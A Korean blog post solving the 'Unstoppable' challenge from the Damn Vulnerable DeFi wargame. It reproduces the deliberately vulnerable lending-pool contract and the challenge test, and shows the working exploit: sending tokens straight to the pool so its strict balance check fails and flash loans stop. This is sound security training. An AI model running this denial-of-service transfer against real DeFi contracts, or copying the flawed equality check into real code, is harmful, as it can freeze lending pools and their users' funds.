[Damn Vulnerable DeFi] Unstoppable

0xDave·2022년 10월 18일
0

Ethereum

목록 보기
49/112

Challenge #1


There's a lending pool with a million DVT tokens in balance, offering flash loans for free.

If only there was a way to attack and stop the pool from offering flash loans ...

You start with 100 DVT tokens in balance.


ReceiverUnstoppable.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/**
 * @title ReceiverUnstoppable
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract ReceiverUnstoppable {

    UnstoppableLender private immutable pool;
    address private immutable owner;

    constructor(address poolAddress) {
        pool = UnstoppableLender(poolAddress);
        owner = msg.sender;
    }

    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }

    function executeFlashLoan(uint256 amount) external {
        require(msg.sender == owner, "Only owner can execute flash loan");
        pool.flashLoan(amount);
    }
}

UnstoppableLender.sol


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

interface IReceiver {
    function receiveTokens(address tokenAddress, uint256 amount) external;
}

/**
 * @title UnstoppableLender
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract UnstoppableLender is ReentrancyGuard {

    IERC20 public immutable damnValuableToken;
    uint256 public poolBalance;

    constructor(address tokenAddress) {
        require(tokenAddress != address(0), "Token address cannot be zero");
        damnValuableToken = IERC20(tokenAddress);
    }

    function depositTokens(uint256 amount) external nonReentrant {
        require(amount > 0, "Must deposit at least one token");
        // Transfer token from sender. Sender must have first approved them.
        damnValuableToken.transferFrom(msg.sender, address(this), amount);
        poolBalance = poolBalance + amount;
    }

    function flashLoan(uint256 borrowAmount) external nonReentrant {
        require(borrowAmount > 0, "Must borrow at least one token");

        uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

        // Ensured by the protocol via the `depositTokens` function
        assert(poolBalance == balanceBefore);
        
        damnValuableToken.transfer(msg.sender, borrowAmount);
        
        IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
        
        uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }
}

해결과정


코드를 보면서 들었던 의문 몇 가지


    // Pool will call this function during the flash loan
    function receiveTokens(address tokenAddress, uint256 amount) external {
        require(msg.sender == address(pool), "Sender must be pool");
        // Return all tokens to the pool
        require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
    }
  1. require 문에 부등호가 들어간 것은 본 적 있어도 이렇게 transfer문이 들어간 것은 처음 본다. 예전에는 이렇게도 썼었나? 아니면 현재에도 많이 쓰고 있나?
    -> aave의 flashloan 관련 컨트랙트를 찾아봐도 require문 안에 토큰을 전송하는 코드는 찾을 수 없었다. stack exchange에 올라온 require문 syntax 관련 질문에서 답을 찾을 수 있었다. require문은 그 안에 속한 코드의 실행 결과가 boolean인지 판단한다. 하지만 transfer는 boolean 대신 에러를 리턴한다. 따라서 보통 위와 같은 방식은 사용하지 않는다고 볼 수 있다.

IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
  1. interface에 msg.sender를 넣으면 어떻게 되는거지..??
    -> msg.sender를 IReceiver 타입으로 사용할 수 있게 하면서 interface에 정의된 함수를 사용할 수 있게 된다.

unstoppable.challenge.js

이제 아래 파일에 빈 부분을 채워서 문제를 풀어나가면 된다. 테스트 형식으로 답안을 체크하며 Assertion라이브러리인 chai를 사용하고 있다.

const { ethers } = require('hardhat');
const { expect } = require('chai');

describe('[Challenge] Unstoppable', function () {
    let deployer, attacker, someUser;

    // Pool has 1M * 10**18 tokens
    const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');
    const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100');
	
  	//test 전 실행
    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */

        [deployer, attacker, someUser] = await ethers.getSigners();

      	//토큰 민팅 및 컨트랙트 디플로이
        const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
        const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer);

        this.token = await DamnValuableTokenFactory.deploy();
        this.pool = await UnstoppableLenderFactory.deploy(this.token.address);

      	//pool에 토큰 전송
        await this.token.approve(this.pool.address, TOKENS_IN_POOL);
        await this.pool.depositTokens(TOKENS_IN_POOL);

        await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);

        expect(
            await this.token.balanceOf(this.pool.address)
        ).to.equal(TOKENS_IN_POOL);

        expect(
            await this.token.balanceOf(attacker.address)
        ).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);

         // someUser가 flash loan 실행
         const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser);
         this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address);
         await this.receiverContract.executeFlashLoan(10);
    });
	
  	// test 진행
    it('Exploit', async function () {
        /** CODE YOUR EXPLOIT HERE */
    });

  	// test 이후 실행
    after(async function () {
        /** SUCCESS CONDITIONS */

        // It is no longer possible to execute flash loans
        await expect(
            this.receiverContract.executeFlashLoan(10)
        ).to.be.reverted;
    });
});

someUser가 FlashLoan을 사용하지 못하게 하려면 Pool에 있는 token을 0으로 만들면 되지 않을까? 현재 flashloan() 함수는 누구나 호출 할 수 있다.

damnValuableToken.transfer(msg.sender, borrowAmount);

호출하면 토큰을 msg.sender에게 보내게 되어있기 때문에 attacker가 ReceiverUnstoppable 컨트랙트를 거치지 않고 직접 flashloan() 함수를 호출한다면 pool에 있는 토큰을 모두 가져올 수 있지 않을까?

첫 번째 시도

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    await this.pool.connect(attacker);
    await this.pool.flashLoan(1000000);
  });

다음과 같은 에러가 났다. connect만 했을 때 에러가 안 나는 걸 봐서는 이 방법은 아닌 것 같다.

 Error: Transaction reverted: function call to a non-contract account

두 번째 시도

단순히 flashLoan 함수가 제대로 안 돌아가게 하는 것에 초점을 맞추면 공격방법이 달라진다. 현재 poolBalancedepositTokens()을 통해서만 총량이 늘어나게 되어있다. 이후 balanceBefore를 통해서 컨트랙트의 총량과 일치하는지 확인한다.

assert(poolBalance == balanceBefore);

그런데 만약 일치하지 않다면? flashLoan 함수는 당연히 실행되지 않을 것이다. 그렇다면 어떻게 일치하지 않도록 할 수 있을까? 생각보다 답은 간단하다. depositTokens()을 호출하지 않고 직접 컨트랙트에 토큰을 보내면 된다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    await this.token.transfer(this.pool, INITIAL_ATTACKER_TOKEN_BALANCE);
  });

어마무시한 에러가 났다.

  it("Exploit", async function () {
    /** CODE YOUR EXPLOIT HERE */
    await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);
  });

pool의 주소를 제대로 넣어주니 테스트에 통과!


출처 및 참고자료


  1. What does passing msg.sender to an interface do?
  2. [Mocha] chai 구문 사용하기
  3. Unstoppable - Damn Vulnerable DeFi | CTF
  4. ERC20
  5. Correct syntax for require required
profile
Just BUIDL :)

0개의 댓글